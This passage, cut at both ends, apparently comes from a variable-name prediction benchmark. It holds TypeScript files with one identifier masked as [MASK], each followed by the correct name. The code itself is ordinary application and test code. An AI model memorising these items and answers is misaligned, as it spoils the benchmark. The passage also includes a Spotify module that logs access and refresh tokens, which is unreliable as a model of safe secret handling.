import { ConsoleTransport, MonitoringAPITransport } from ""./transports"";

/**
 * DEPRECATED: will be removed once versioning is handled
 */
class Logger {
  transports: ILoggingTransport[];

  constructor(apiKey: string,  [MASK] : boolean = false) {
    this.transports = [];

    this.transports.push(
      new MonitoringAPITransport({
        apiKey: apiKey,
        loggerUrl: BASE_URL,
        logsEndpoint: LOGS_ENDPOINT,
        countersEndpoint: COUNTERS_ENDPOINT,
        timersEndpoint: TIMERS_ENDPOINT,
      })
    );

    if ( [MASK] ) this.transports.push(new ConsoleTransport());
  }

  logMessage = (payload: MessagePayload) => {
    this.transports.forEach((transport) => {
      transport.logMessageAsync(payload);
    });
  };

  logCounter = (payload: CounterPayload) => {
    this.transports.forEach((transport) => {
      transport.logCounterAsync(payload);
    });
  };

  logTimer = (payload: TimerPayload) => {
    this.transports.forEach((transport) => {
      transport.logTimerAsync(payload);
    });
  };
}

export default Logger;
",useConsoleTransport
23,"import { MiddlewareConsumer, Module, NestModule } from '@nestjs/common';
import { TypeOrmModule } from '@nestjs/typeorm';
import { AppController } from './app.controller';
import { AppService } from './app.service';
import { CommonModule } from './module/common/common.module';
import { AuthModule } from './module/auth/auth.module';
import { UserModule } from './module/user/user.module';
import { UserController } from './module/user/user.controller';
import { ProxyMiddleware } from './middleware/proxy.middleware';
import { ItemModule } from './module/item/item.module';
import { TeamModule } from './module/team/team.module';
import { CatalogModule } from './module/catalog/catalog.module';
import { PageModule } from './module/page/page.module';
import { AttachmentModule } from './module/attachment/attachment.module';

@Module({
  imports: [
    TypeOrmModule.forRoot({
      type: 'sqlite',
      database: 'sqlite/showdoc.db.php',
      autoLoadEntities: true,
    }),
    CommonModule,
    AuthModule,
    UserModule,
    ItemModule,
    TeamModule,
    CatalogModule,
    PageModule,
    AttachmentModule,
  ],
  controllers: [AppController, UserController],
  providers: [AppService],
})
export class AppModule implements NestModule {
  configure( [MASK] : MiddlewareConsumer) {
     [MASK] .apply(ProxyMiddleware).forRoutes('server/index.php');
  }
}
",consumer
24,"/*
Copyright 2021 The Matrix.org Foundation C.I.C.

Licensed under the Apache License, Version 2.0 (the ""License"");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at

    http://www.apache.org/licenses/LICENSE-2.0

Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an ""AS IS"" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

import { MatrixClient } from ""../../../src"";
import { Room } from ""../../../src/models/room"";
import { MatrixEvent } from ""../../../src/models/event"";
import { UNSTABLE_MSC3089_BRANCH } from ""../../../src/@types/event"";
import { EventTimelineSet } from ""../../../src/models/event-timeline-set"";
import { EventTimeline } from ""../../../src/models/event-timeline"";
import { MSC3089Branch } from ""../../../src/models/MSC3089Branch"";

describe(""MSC3089Branch"", () => {
    let client: MatrixClient;
    // @ts-ignore - TS doesn't know that this is a type
    let indexEvent: MatrixEvent;
    let branch: MSC3089Branch;

    const branchRoomId = ""!room:example.org"";
    const fileEventId = ""$file"";

    const staticTimelineSets = {} as EventTimelineSet;
    const staticRoom = {
        getUnfilteredTimelineSet: () => staticTimelineSets,
    } as any as Room; // partial

    beforeEach(() => {
        // TODO: Use utility functions to create test rooms and clients
        client = <MatrixClient>{
            getRoom: (roomId: string) => {
                if (roomId === branchRoomId) {
                    return staticRoom;
                } else {
                    throw new Error(""Unexpected fetch for unknown room"");
                }
            },
        };
        indexEvent = {
            getRoomId: () => branchRoomId,
            getStateKey: () => fileEventId,
        };
        branch = new MSC3089Branch(client, indexEvent);
    });

    it('should know the file event ID', () => {
        expect(branch.id).toEqual(fileEventId);
    });

    it('should know if the file is active or not', () => {
        indexEvent.getContent = () => ({});
        expect(branch.isActive).toBe(false);
        indexEvent.getContent = () => ({ active: false });
        expect(branch.isActive).toBe(false);
        indexEvent.getContent = () => ({ active: true });
        expect(branch.isActive).toBe(true);
        indexEvent.getContent = () => ({ active: ""true"" }); // invalid boolean, inactive
        expect(branch.isActive).toBe(false);
    });

    it('should be able to delete the file', async () => {
        const stateFn = jest.fn()
            .mockImplementation((roomId: string, eventType: string, content: any, stateKey: string) => {
                expect(roomId).toEqual(branchRoomId);
                expect(eventType).toEqual(UNSTABLE_MSC3089_BRANCH.unstable); // test that we're definitely using the unstable value
                expect(content).toMatchObject({});
                expect(content['active']).toBeUndefined();
                expect(stateKey).toEqual(fileEventId);

                return Promise.resolve(); // return value not used
            });
        client.sendStateEvent = stateFn;

        const  [MASK]  = jest.fn().mockImplementation((roomId: string, eventId: string) => {
            expect(roomId).toEqual(branchRoomId);
            expect(eventId).toEqual(fileEventId);

            return Promise.resolve(); // return value not used
        });
        client.redactEvent =  [MASK] ;

        await branch.delete();

        expect(stateFn).toHaveBeenCalledTimes(1);
        expect( [MASK] ).toHaveBeenCalledTimes(1);
    });

    it('should know its name', async () => {
        const name = ""My File.txt"";
        indexEvent.getContent = () => ({ active: true, name: name });

        const res = branch.getName();

        expect(res).toEqual(name);
    });

    it('should be able to change its name', async () => {
        const name = ""My File.txt"";
        indexEvent.getContent = () => ({ active: true, retained: true });
        const stateFn = jest.fn()
            .mockImplementation((roomId: string, eventType: string, content: any, stateKey: string) => {
                expect(roomId).toEqual(branchRoomId);
                expect(eventType).toEqual(UNSTABLE_MSC3089_BRANCH.unstable); // test that we're definitely using the unstable value
                expect(content).toMatchObject({
                    retained: true, // canary for copying state
                    active: true,
                    name: name,
                });
                expect(stateKey).toEqual(fileEventId);

                return Promise.resolve(); // return value not used
            });
        client.sendStateEvent = stateFn;

        await branch.setName(name);

        expect(stateFn).toHaveBeenCalledTimes(1);
    });

    it('should be able to return event information', async () => {
        const mxcLatter = ""example.org/file"";
        const fileContent = { isFile: ""not quite"", url: ""mxc://"" + mxcLatter };
        const eventsArr = [
            { getId: () => ""$not-file"", getContent: () => ({}) },
            { getId: () => fileEventId, getContent: () => ({ file: fileContent }) },
        ];
        client.getEventTimeline = () => Promise.resolve({
            getEvents: () => eventsArr,
        }) as any as Promise<EventTimeline>; // partial
        client.mxcUrlToHttp = (mxc: string) => {
            expect(mxc).toEqual(""mxc://"" + mxcLatter);
            return `https://example.org/_matrix/media/v1/download/${mxcLatter}`;
        };
        client.decryptEventIfNeeded = () => Promise.resolve();

        const res = await branch.getFileInfo();
        expect(res).toBeDefined();
        expect(res).toMatchObject({
            info: fileContent,
            // Escape regex from MDN guides: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions
            httpUrl: expect.stringMatching(`.+${mxcLatter.replace(/[.*+?^${}()|[\]\\]/g, '\\$&')}$`),
        });
    });
});
",redactFn
25,"import {Body, Controller, ForbiddenException, Get, HttpCode, Inject, Post} from '@nestjs/common'
import {LarkBotService} from './lark-bot.service'
import {LARK_BOT} from './lark-bot.constants'
import {BotMessageDto, SessionResponseDto} from './lark-bot.dto'

@Controller('lark')
export class LarkBotController {
  @Inject(LARK_BOT)
  private readonly botService: LarkBotService

  @Get('/options')
  async printOptions(): Promise<string> {
    if (this.botService.options.debug) {
      return JSON.stringify(this.botService.options)
    }
    throw new ForbiddenException()
  }

  @Post('/callback')
  @HttpCode(200)
  async handleLarkRequest(@Body()  [MASK] : BotMessageDto): Promise<unknown> {
    if ( [MASK] .challenge) {
      return {challenge:  [MASK] .challenge}
    }
    switch ( [MASK] .header.event_type) {
      case 'im.message.receive_v1':
        return this.botService.onMessage( [MASK] .event)
      default:
    }
  }
}
",body
26,"/* eslint-disable no-console */

import * as jp from ""jsonpath"";
import * as _ from ""lodash""
import payload from ""./payload"";

const jsonPaths: Array<string> = [
    // '$',
    // '$.level_0_string',
    '$.name',
    '$.description',
    '$.packages[:].tour.itinerary',
    // '$.*'
];

const pathMap= {}
const allPaths = []
jsonPaths.forEach((jpPath) => {
    const paths = jp.paths(payload, jpPath)
    allPaths.push(...paths)
});

const orderedPaths = allPaths.sort((a, b) => a.length > b.length ? -1 : 1)

for (const path of orderedPaths) {
    let node = pathMap
    for (let i = 0; i < path.length; i++) {
        const key = path[i];
        if (node[key] === null) {
            break
        }
        if (node[key] === undefined) {
            if(i < path.length - 1 && typeof path[i+1] === 'number') {
                node[key] = [];
            } else {
                node[key] = {};
            }
        }
        if (i === path.length - 1) {
            node[key] = null
        } else {
            node = node[key]
        }
    }
}

// console.log(JSON.stringify(pathMap, null, 2))

const contentCopy = { '$': _.cloneDeep(payload) };
const content = crop(contentCopy, pathMap)
console.log(JSON.stringify(content, null, 2))

function crop(obj,  [MASK] ) {
    if ( [MASK]  === null) {
        return `Translate(de_DE, '${obj}')`
    }
    for (const key of Object.keys(obj)) {
        if (!(key in  [MASK] )) {
            delete obj[key]
        } else {
            obj[key] = crop(obj[key],  [MASK] [key])
        }
    }
    return obj
}
",keepMap
27,"import nodeHashcash from './index';
const sleep = (time: number) => new Promise(r => setTimeout(r, time));

describe('NodeHashcash', () => {
    const SECRET = 'my secret';

    it('should generate random tokens', () => {
        const firstValue = nodeHashcash['generateToken'](8);
        const  [MASK]  = nodeHashcash['generateToken'](8);

        expect(firstValue).not.toBe( [MASK] );
    });

    it('should generate correct sized tokens', () => {
        const LENGTH = 8;
        const token = nodeHashcash['generateToken'](LENGTH);

        expect(token.length).toBe(LENGTH);
    });

    it('should generate valid challenge', () => {
        const hardness = 7;
        const challenge = nodeHashcash.createChallenge(SECRET, { hardness });
        const challengeObj = JSON.parse(Buffer.from(challenge, 'base64').toString('ascii'));

        expect(challengeObj.signature.length).toBe(16);
        expect(challengeObj.content.token.length).toBe(16);
        expect(challengeObj.content.hardness).toBe(hardness);
        expect(challengeObj.content.iat.length).not.toBe(0);
    });

    it('should give the correct amount of solutions to a challenge', async () => {
        const hardness = 3;
        const challenge = nodeHashcash.createChallenge(SECRET, { hardness });
        const solution = await nodeHashcash.solveChallenge(challenge);
        const solutions = JSON.parse(Buffer.from(solution, 'base64').toString('ascii'));

        expect(solutions.length).toBe(hardness);
    });

    it('should update onProgress correctly', async () => {
        const updates = [];
        let last = -1;

        const hardness = 3;
        const challenge = nodeHashcash.createChallenge(SECRET, { hardness });
        await nodeHashcash.solveChallenge(challenge, progress => {
            expect(progress).toBeGreaterThan(last);
            last = progress;
            updates.push(progress);
        });

        expect(updates.length).toBe(hardness + 1);
    });

    it('should validate correctly solved challenge', async () => {
        const hardness = 3;
        const challenge = nodeHashcash.createChallenge(SECRET, { hardness });
        const solution = await nodeHashcash.solveChallenge(challenge);
        const isValid = nodeHashcash.validateChallenge(challenge, solution, SECRET);

        expect(isValid).toBe(true);
    });

    it('should not validate wrong signature', async () => {
        const hardness = 3;
        const challenge = nodeHashcash.createChallenge(SECRET, { hardness });
        const solution = await nodeHashcash.solveChallenge(challenge);
        const isValid = nodeHashcash.validateChallenge(challenge, solution, 'wrong secret');

        expect(isValid).toBe(false);
    });

    it('should not validate wrong solutions', async () => {
        const hardness = 3;
        const challenge = nodeHashcash.createChallenge(SECRET, { hardness });
        const solution = Buffer.from(JSON.stringify(['0', '0', '0']), 'binary').toString('base64');
        const isValid = nodeHashcash.validateChallenge(challenge, solution, SECRET);

        expect(isValid).toBe(false);
    });

    it('should not validate expired solution', async () => {
        const hardness = 3;
        const challenge = nodeHashcash.createChallenge(SECRET, { hardness });
        const solution = await nodeHashcash.solveChallenge(challenge);
        await sleep(200);
        const isValid = nodeHashcash.validateChallenge(challenge, solution, SECRET, {
            expiration: 200
        });

        expect(isValid).toBe(false);
    });
});
",secondValue
28,"/**
 * @copyright 2017 <NAME>
 * @license Apache License, Version 2.0
 * @see NOTICE file
 */
import {Constructable} from '../types/constructable';
import {instantiateFactories} from './instantiate-factories';
import {InjectionRecord} from '../interfaces/injection-record';
import {InjectionCycleError} from '../errors/injection-cycle.error';

/**
 * Instantiates injections with their dependencies from given
 * injection records array. Throws errors when injection cycle
 * encountered or when injection factory internal error occurs.
 *
 * @param records {InjectionRecord[]} injection record array
 *
 * @return {Promise<WeakMap<Constructable, Object>>} a WeakMap of
 * injection instances (asynchronous)
 *
 * @throws {InjectionCycleError} when an injection cycle encountered
 * @throws {InstantiationError} when an injection factory internal
 * error occurs, InstantiationError is rethrown
 */
export async function injectInternal(
  records: InjectionRecord[]
): Promise<WeakMap<Constructable, object>> {

  // selecting factory injections
  const factoryInjections = records.filter(record => {
    return !!record.factory;
  });

  // getting factory injections map
  const  [MASK]  = await instantiateFactories(factoryInjections);

  // deleting instantiated factory injection records
  for (const record of records) {
    if ( [MASK] .has(record.constructor)) {
      const index = records.indexOf(record);
      records.splice(index, 1);
    }
  }

  // injecting & instantiating...
  while (records.length) {

    // selecting injections without registered dependencies
    const instantiationCandidates: InjectionRecord[] = [];
    for (const record of records) {
      let isCandidate: boolean = true;
      for (const dependency of record.dependencies) {
        const hasRegistered = records.some(r => {
          return r.constructor === dependency;
        });

        if (hasRegistered) {
          isCandidate = false;
          break;
        }
      }
      if (isCandidate) {
        // to instantiation candidates
        instantiationCandidates.push(record);
      }
    }

    // no candidates - injection cycle
    if (instantiationCandidates.length === 0) {
      let injectionList: string = records[0].constructor.name;
      for (let i = 1; i < records.length; i++) {
        injectionList += '-' + records[i].constructor.name;
      }
      throw new InjectionCycleError(
        'An injection cycle encountered among injections ' +
        injectionList);
    }

    // if there are instance candidates
    for (const candidate of instantiationCandidates) {
      const dependencies = candidate.dependencies;
      const args = [];
      for (const dependency of dependencies) {
        args.push( [MASK] .get(dependency));
      }
      const instance = new candidate.constructor(...args);
       [MASK] .set(candidate.constructor, instance);
      const index = records.indexOf(candidate);
      records.splice(index, 1);
    }
  }

  return  [MASK] ;
}
",instanceMap
29,"import { Component, Input, ViewChild, Optional } from '@angular/core';
import { Color, BaseChartDirective } from 'ng2-charts';
import { FilterValues } from '../filter/filtervalues.model';
import { StatisticsSourceInterface } from '../../services/statistics-source.interface';
import { Subscription, Observable, Subject } from 'rxjs';
import { Dataset } from '../../mappers/dataset.model';

export enum StatusType {
  NoData,
  Loading,
  Loaded,
  Error
}

@Component({
  selector: 'chart',
  templateUrl: './chart.component.html',
  styleUrls: ['./chart.component.css']
})
export class ChartComponent {
  @Input() public filterValues: Observable<FilterValues>;
  @Input() public dataSource: StatisticsSourceInterface;
  @Input('seriesColours')
  set seriesColours(value: any[]) {
    this.colors = [{ backgroundColor: value }];
  }

  @ViewChild(BaseChartDirective) chart: BaseChartDirective;

  private statisticsService: StatisticsSourceInterface;
  private filterValuesSubscription: Subscription;
  public chartType: string;
  public labels: string[] = [];
  public data: number[] = [];
  public colors: any[];
  public options: any;

  public status: StatusType = StatusType.NoData;

  public statusType = StatusType;

  ngOnInit() {
    this.statisticsService = this.dataSource;

    this.subscribe();
  }

  private subscribe(): void {
    this.filterValuesSubscription = this.filterValues
      .debounceTime(300)
      .distinctUntilChanged()
      .do(val => {
        if (val.clear === true) {
          this.status = StatusType.NoData;
        }
      })
      .filter(val => val.clear !== true)
      .do(() => (this.status = StatusType.Loading))
      .switchMap(val =>
        this.statisticsService.getStatistics(
          val.beginDate,
          val.endDate,
          val.domainId
        )
      )
      .subscribe(
        (data: Dataset) => {
          if (data.series.length === 0) {
            this.status = StatusType.NoData;
          } else {
            this.updateChart(data);
            this.status = StatusType.Loaded;
          }
        },
        (error: any) => {
          this.status = StatusType.Error;
          if (this.filterValuesSubscription) {
            this.filterValuesSubscription.unsubscribe();
            this.filterValuesSubscription = null;
          }
          this.subscribe();
        }
      );
  }

  updateChart(data: Dataset) {
    this.chart.datasets = data.series;
    this.labels = data.labels;
    this.chart.datasets = data.series.map((item,  [MASK] ) => {
      return {
        data: item.data,
        label: item.name,
        backgroundColor: this.colors[ [MASK] ]
      };
    });

    this.labels = data.labels;
    if (this.chart && this.chart.chart && this.chart.chart.config) {
      this.chart.chart.config.data.labels = this.labels;
      this.chart.chart.update();
    }
  }

  ngOnDestroy() {
    this.filterValuesSubscription.unsubscribe();
  }
}
",index
30,"import { Logger } from '../logger/Logger';

/**
 * 适配屏幕工具类
 */
export class FitScreenUtil {
    
    // 当前设计分辨率
    private curDR: any = null;

    /**
     * 适配屏幕
     * @param canvasNode 画布节点
     */
    fitScreen(canvasNode: cc.Node) {
        if (cc.sys.isNative) {
            this.fitNativeScreen(canvasNode);
        }
        if (cc.sys.platform === cc.sys.DESKTOP_BROWSER) {
            const resizeAction = () => {
                let cvs = canvasNode.getComponent(cc.Canvas);
                //保存原始设计分辨率，供屏幕大小变化时使用
                if (!this.curDR) {
                    this.curDR = cvs.designResolution;
                }
                let dr = this.curDR;
                let s = cc.view.getFrameSize();
                let rw = s.width;
                let rh = s.height;
                let finalW = rw;
                let finalH = rh;
                if (rw / rh > dr.width / dr.height) {
                    //!#zh: 是否优先将设计分辨率高度撑满视图高度。 */
                    //cvs.fitHeight = true;

                    //如果更长，则用定高
                    finalH = dr.height;
                    finalW = (finalH * rw) / rh;
                } else {
                    /*!#zh: 是否优先将设计分辨率宽度撑满视图宽度。 */
                    //cvs.fitWidth = true;
                    //如果更短，则用定宽
                    finalW = dr.width;
                    finalH = (rh / rw) * finalW;
                }
                cvs.designResolution = cc.size(finalW, finalH);
                cvs.node.width = finalW;
                cvs.node.height = finalH;
            };

            window.onresize = resizeAction;
            resizeAction();
        }
    }

    /**
     * 原生适配
     * @param canvasNode 画布节点
     */
    fitNativeScreen(canvasNode: cc.Node) {
        let size = cc.view.getFrameSize();
        let aspect1 = size.height / size.width;
        let  [MASK]  = 16 / 9;
        var cvs = canvasNode.getComponent(cc.Canvas);
        if (!CC_BUILD)
            Logger.log(
                cc.sys.platform +
                    ':::' +
                    cc.sys.browserType +
                    '::' +
                    cc.sys.OS_IOS
            );
        if (aspect1 >  [MASK]  && cc.sys.OS_IOS === 'iOS') {
            cvs.fitHeight = true;
            cvs.fitWidth = true;
            Logger.log('----------iphone notch screen-----------');
            return;
        } else {
            cvs.fitHeight = false;
            cvs.fitWidth = true;
        }

        let frameSize = cc.view.getFrameSize();
        let designSize = cc.view.getDesignResolutionSize();

        if (
            frameSize.width / frameSize.height >
            designSize.width / designSize.height
        ) {
            canvasNode.width =
                (designSize.height * frameSize.width) / frameSize.height;
            canvasNode.height = designSize.height;
            canvasNode.getComponent(cc.Canvas).designResolution = cc.size(
                canvasNode.width,
                canvasNode.height
            );
        } else {
            canvasNode.width = designSize.width;
            canvasNode.height =
                (designSize.width * frameSize.height) / frameSize.width;
            canvasNode.getComponent(cc.Canvas).designResolution = cc.size(
                canvasNode.width,
                canvasNode.height
            );
        }

        //this.fitScreenBackground(node, designSize);
    }

    /**
     * 背景适配
     * @param canvasnode
     * @param designSize
     */
    fitScreenBackground(canvasnode: any, designSize: any) {
        let scaleW = canvasnode.width / designSize.width;
        let scaleH = canvasnode.height / designSize.height;

        let bgNode = canvasnode.getChildByName('background');
        if (!bgNode) return;
        let bgScale = canvasnode.height / bgNode.height;
        bgNode.width *= bgScale;
        bgNode.height *= bgScale;
        if (scaleW > scaleH) {
            bgScale = canvasnode.width / bgNode.width;
            bgNode.width *= bgScale;
            bgNode.height *= bgScale;
        }
    }
}
",aspect2
31,"import { ServerResponse } from 'http'

import {
  TOKEN_RENEW_LIMIT,
  DEVICES_COUNT_LIMIT,
  EXPIRATION_CHECK_INTERVAL,
} from '@core/config'

import { User } from '@core/core-types'
import { createToken, parseToken } from '@core/token'
import { setToken, unsetToken } from '@core/cookie'
import { hashString } from '@core/tools'

import { getUserByName, addUser } from './model/auth-model'

const usersTokens: Map<number, string[]> = new Map

export const authorization = (
  res: ServerResponse,
  token: string,
): number => {
  if (!token) {
    return null
  }

  const now = Date.now()
  const { id, expires } = parseToken(token)
  const userTokens = usersTokens.get(id)

  if (!userTokens || expires < now || !userTokens.includes(token)) {
    unsetToken(res)

    return null
  }

  if (expires - now < TOKEN_RENEW_LIMIT) {
    const newToken = createToken(id)
    const index = userTokens.indexOf(token)

    userTokens.splice(index, 1)
    userTokens.push(newToken)

    setToken(res, newToken)
  }

  return id
}

export const authentication = async (
  res: ServerResponse,
  name: string,
  password: string,
): Promise<User> => {
  const user = await getUserByName(name)

  if (!user || user.password != hashString(user.name + password)) {
    return null
  }

  if (!usersTokens.has(user.id)) {
    usersTokens.set(user.id, [])
  }

  const tokens = usersTokens.get(user.id)
  const token = createToken(user.id)

  tokens.push(token)

  while (tokens.length > DEVICES_COUNT_LIMIT) {
    tokens.shift()
  }

  setToken(res, token)

  return user
}

export const registration = async (
  res: ServerResponse,
  name: string,
  password: string,
): Promise<number> => {
  const user = await getUserByName(name)

  if (user) {
    return null
  }

  const hashPassword = hashString(name + password)
  const id = await addUser(name, hashPassword)
  const token = createToken(id)

  usersTokens.set(id, [token])

  setToken(res, token)

  return id
}

export const logOut = (
  res: ServerResponse,
   [MASK] : number,
  token: string,
  mode: string,
): void => {
  // Токен точно существует, т.к. клиент авторизован по нему
  const tokens = usersTokens.get( [MASK] )
  const tokenIndex = tokens.indexOf(token)

  switch (mode) {
    case 'this':
      tokens.splice(tokenIndex, 1)

      unsetToken(res)

      break
    case 'all':
      usersTokens.delete( [MASK] )

      unsetToken(res)

      break
    case 'others':
      tokens.length = 0
      tokens.push(token)

      break
  }
}

const expirationCheck = () => {
  const now = Date.now()

  usersTokens.forEach((tokens, key) => {
    const aliveTokens = tokens.filter(token => {
      const { expires } = parseToken(token)

      return now < expires
    })

    if (tokens.length == aliveTokens.length) {
      return
    }

    if (!aliveTokens.length) {
      usersTokens.delete(key)

      return
    }

    usersTokens.set(key, aliveTokens)
  })
}

setInterval(expirationCheck, EXPIRATION_CHECK_INTERVAL)
",userId
32,"import {IRepository} from ""./interfaces/repository.interface.js"";
import {User} from ""../domain/user.js"";
import {Bet} from ""../domain/bet.js"";
import {Dice} from ""../domain/dice.js"";

export class CreateBetUseCase {
    constructor(private userRepository: IRepository<User>, private betRepository: IRepository<Bet>) {
    }

    async execute(userId: number, betAmount: number, chance: number): Promise<Bet> {
        const user = await this.userRepository.findOneById(userId);
        if (!user) {
            throw new Error('User not found');
        }

        let bet: Bet = Bet.createWithoutId({
            userId: user.id,
            betAmount,
            chance,
            payout: betAmount * 2
        });
        let  [MASK]  = bet.placeBet(user.balance, new Dice())

        // TODO: Potentially better to handle as a single transaction
        await this.userRepository.updateOneById(user.id, { balance:  [MASK]  });
        bet = await this.betRepository.createOne(bet);

        return bet;
    }
}",updatedBalance
33,"import { AbstractCommandModule, Message } from ""botyo-api"";

const Spotify = require('spotify-web-api-node');

export default class SpotifyCommand extends AbstractCommandModule
{
    private readonly market: string;
    private readonly spotify: any;
    private readonly authPromise: Promise<void>;
    private tokenExpiryTimestamp: number;

    constructor()
    {
        super();

        this.market = this.getRuntime().getConfiguration().getProperty<string>(""market"");

        this.spotify = new Spotify({
            clientId: this.getRuntime().getConfiguration().getProperty<string>(""clientId""),
            clientSecret: this.getRuntime().getConfiguration().getProperty<string>(""clientSecret"")
        });

        this.authPromise = this.authenticateSpotify();
    }

    getCommand(): string
    {
        return ""spotify"";
    }

    getDescription(): string
    {
        return ""Posts a Spotify song in the chat"";
    }

    getUsage(): string
    {
        return ""<track>"";
    }

    validate(msg: Message, args: string): boolean
    {
        return args.length > 0;
    }

    async execute(msg: Message, args: string): Promise<any>
    {
        await this.authPromise;
        await this.refreshSpotifyToken();

        const data = await this.spotify.searchTracks(args, { market: this.market, limit: 1 });

        if (!data.body || !data.body.tracks || !data.body.tracks.items) {
            throw new Error(""Could not parse Spotify response"");
        }

        if (data.body.tracks.items.length === 0) {
            return this.getRuntime().getChatApi().sendMessage(msg.threadID, ""Sorry, I couldn't find this track. :/"");
        }

        const track = data.body.tracks.items[0];
        const trackUrl = track.external_urls.spotify;
        const artists = track.artists.map((a: any) => a.name).join("", "");

        const response = `\u{1F3B5} ${track.name} by ${artists}\n` +
            `\u{1F517} Play now: ${trackUrl}`;

        return this.getRuntime().getChatApi().sendMessage(msg.threadID, {
            url: trackUrl,
            body: response
        });
    }

    private async authenticateSpotify(): Promise<void>
    {
        const logger = this.getRuntime().getLogger();

        return this.spotify.clientCredentialsGrant()
            .then((data: any) => {
                // Save the access token so that it's used in future calls
                const accessToken = data.body['access_token'];
                const refreshToken = data.body['refresh_token'];
                const  [MASK]  = data.body['expires_in'];

                this.spotify.setAccessToken(accessToken);
                this.spotify.setRefreshToken(refreshToken);
                this.tokenExpiryTimestamp = Date.now() +  [MASK]  * 1000;

                logger.verbose(`The access token expires in ${ [MASK] }`);
                logger.verbose(`The access token is ${accessToken}`);
                logger.verbose(`The refresh token is ${refreshToken}`);
            })
            .catch((err: any) => {
                logger.error('Something went wrong when retrieving an access token', err);
            });
    }

    private async refreshSpotifyToken(): Promise<void>
    {
        const logger = this.getRuntime().getLogger();

        if (Date.now() < this.tokenExpiryTimestamp) {
            return;
        }

        try {
            const data = await this.spotify.refreshAccessToken();
            this.spotify.setAccessToken(data.body['access_token']);
        } catch (err) {
            logger.warn('Could not refresh access token. Will try to re-authenticate...', err);
            return this.authenticateSpotify();
        }

        logger.verbose('The access token has been refreshed!');
    }
}",tokenExpiresIn
34,"import type {
  UseQueryStoreResult,
  MutationStoreResult,
} from '@sveltestack/svelte-query';
import { QueryClient, useQuery, useMutation } from '@sveltestack/svelte-query';
import { getVersion } from '@tauri-apps/api/app';
import { appDir } from '@tauri-apps/api/path';
import { type FsOptions, readTextFile, createDir } from '@tauri-apps/api/fs';

export const APPLICATION_NAMESPACE = 'latreutes';
export const QUERY_KEY_CONFIG = [APPLICATION_NAMESPACE, 'config'];

// Utils

async function readFile(path: string, options?: FsOptions) {
  const fileContents = await readTextFile(path, options);
  if (fileContents) {
    return fileContents;
  }
  throw new Error('Empty file!');
}

// Queries

// App Version
const QUERY_KEY_VERSION = [APPLICATION_NAMESPACE, 'version'];
export const useVersion = (): UseQueryStoreResult<
  string,
  unknown,
  string,
  string[]
> =>
  useQuery(QUERY_KEY_VERSION, getVersion, {
    staleTime: Infinity,
    cacheTime: Infinity,
  });

// Config Directory
const QUERY_KEY_CONFIG_PATH = [...QUERY_KEY_CONFIG, 'path'];
export const useConfigPath = (): UseQueryStoreResult<
  string,
  unknown,
  string,
  string[]
> =>
  useQuery(QUERY_KEY_CONFIG_PATH, appDir, {
    staleTime: Infinity,
    cacheTime: Infinity,
  });
export const useConfigDirMaker = (): MutationStoreResult<void, unknown, void> =>
  useMutation(async () => {
    const configPath = await appDir();
    await createDir(configPath, { recursive: true });
  });

// ZeroTier Auth Token
export const AUTHTOKEN_FILENAME = 'authtoken.secret';
const QUERY_KEY_ZT = [...QUERY_KEY_CONFIG, 'zt'];
const QUERY_KEY_AUTHTOKEN = [...QUERY_KEY_ZT, 'authtoken'];
export const useAuthToken = (
  configDirPath?: string,
): UseQueryStoreResult<string, unknown, string, string[]> =>
  useQuery(
    QUERY_KEY_AUTHTOKEN,
    async () => {
      if (configDirPath === undefined) {
        throw Error('Missing directory path for authtoken.secret file!');
      }
      const  [MASK]  = `${configDirPath}${AUTHTOKEN_FILENAME}`;
      const fileContents = await readFile( [MASK] );
      return fileContents.trim();
    },
    {
      enabled: !!configDirPath,
      retry: false,
      retryOnMount: false, // if this is true, the query will always retry instantly in a svelte component with transitions, blocking other work
      refetchOnWindowFocus: false,
      staleTime: Infinity,
      cacheTime: Infinity,
    },
  );
export const invalidateAuthTokenCache = (queryClient: QueryClient): void => {
  void queryClient.invalidateQueries(QUERY_KEY_AUTHTOKEN, {
    refetchInactive: true,
  });
};
",filePath
35,"import * as assert from 'assert';

import * as vscode from 'vscode';
import { getDocUri, activate } from './helper';

// You can import and use all API from the 'vscode' module
// as well as import your extension to test it
// import * as myExtension from '../../extension';

suite('Extension Test Suite', function () {
  vscode.window.showInformationMessage('Start all tests.');

  this.timeout(20000);
  const diagnosdoc1 = getDocUri('one.sol');
  test('Testing for Row and Col pos.', async () => {
    await testdiagnos(diagnosdoc1, [
      {
        message: `unrecognised token 'aa', expected "";"", ""=""`,
        range: toRange(4, 0, 5, 2),
        severity: vscode.DiagnosticSeverity.Error,
        source: 'solidity',
      },
    ]);
  });

  this.timeout(20000);
  const diagnosdoc2 = getDocUri('two.sol');
  test('Testing for diagnostic errors.', async () => {
    await testdiagnos(diagnosdoc2, [
      {
        message:
          `unrecognised token '}', expected ""!"", ""("", ""+"", ""++"", ""-"", ""--"", ""["", ""address"", ""bool"", ""byte"", ""bytes"", ""case"", ""default"", ""delete"", ""error"", ""false"", ""function"", ""leave"", ""mapping"", ""new"", ""payable"", ""revert"", ""string"", ""switch"", ""this"", ""true"", ""type"", ""~"", Bytes, Int, Uint, address, hexnumber, hexstring, identifier, number, rational, string`,
        range: toRange(13, 1, 13, 2),
        severity: vscode.DiagnosticSeverity.Error,
        source: 'solidity',
      },
    ]);
  });

  this.timeout(20000);
  const diagnosdoc3 = getDocUri('three.sol');
  test('Testing for diagnostic info.', async () => {
    await testdiagnos(diagnosdoc3, []);
  });

  this.timeout(20000);
  const diagnosdoc4 = getDocUri('four.sol');
  test('Testing for diagnostics warnings.', async () => {
    await testdiagnos(diagnosdoc4, [
      {
        message: `unknown pragma 'foo' with value 'bar' ignored`,
        range: toRange(0, 0, 0, 14),
        severity: vscode.DiagnosticSeverity.Warning,
        source: `solidity`,
      },
      {
        message: `function can be declared 'pure'`,
        range: toRange(3, 5, 3, 40),
        severity: vscode.DiagnosticSeverity.Warning,
        source: `solidity`,
      },
    ]);
  });

  // Tests for hover.
  this.timeout(20000);
  const hoverdoc1 = getDocUri('hover1.sol');
  test('Testing for Hover', async () => {
    await testhover(hoverdoc1);
  });
});

function toRange( [MASK] : number, charno1: number, lineno2: number, charno2: number) {
  const start = new vscode.Position( [MASK] , charno1);
  const end = new vscode.Position(lineno2, charno2);
  return new vscode.Range(start, end);
}

async function testhover(docUri: vscode.Uri) {
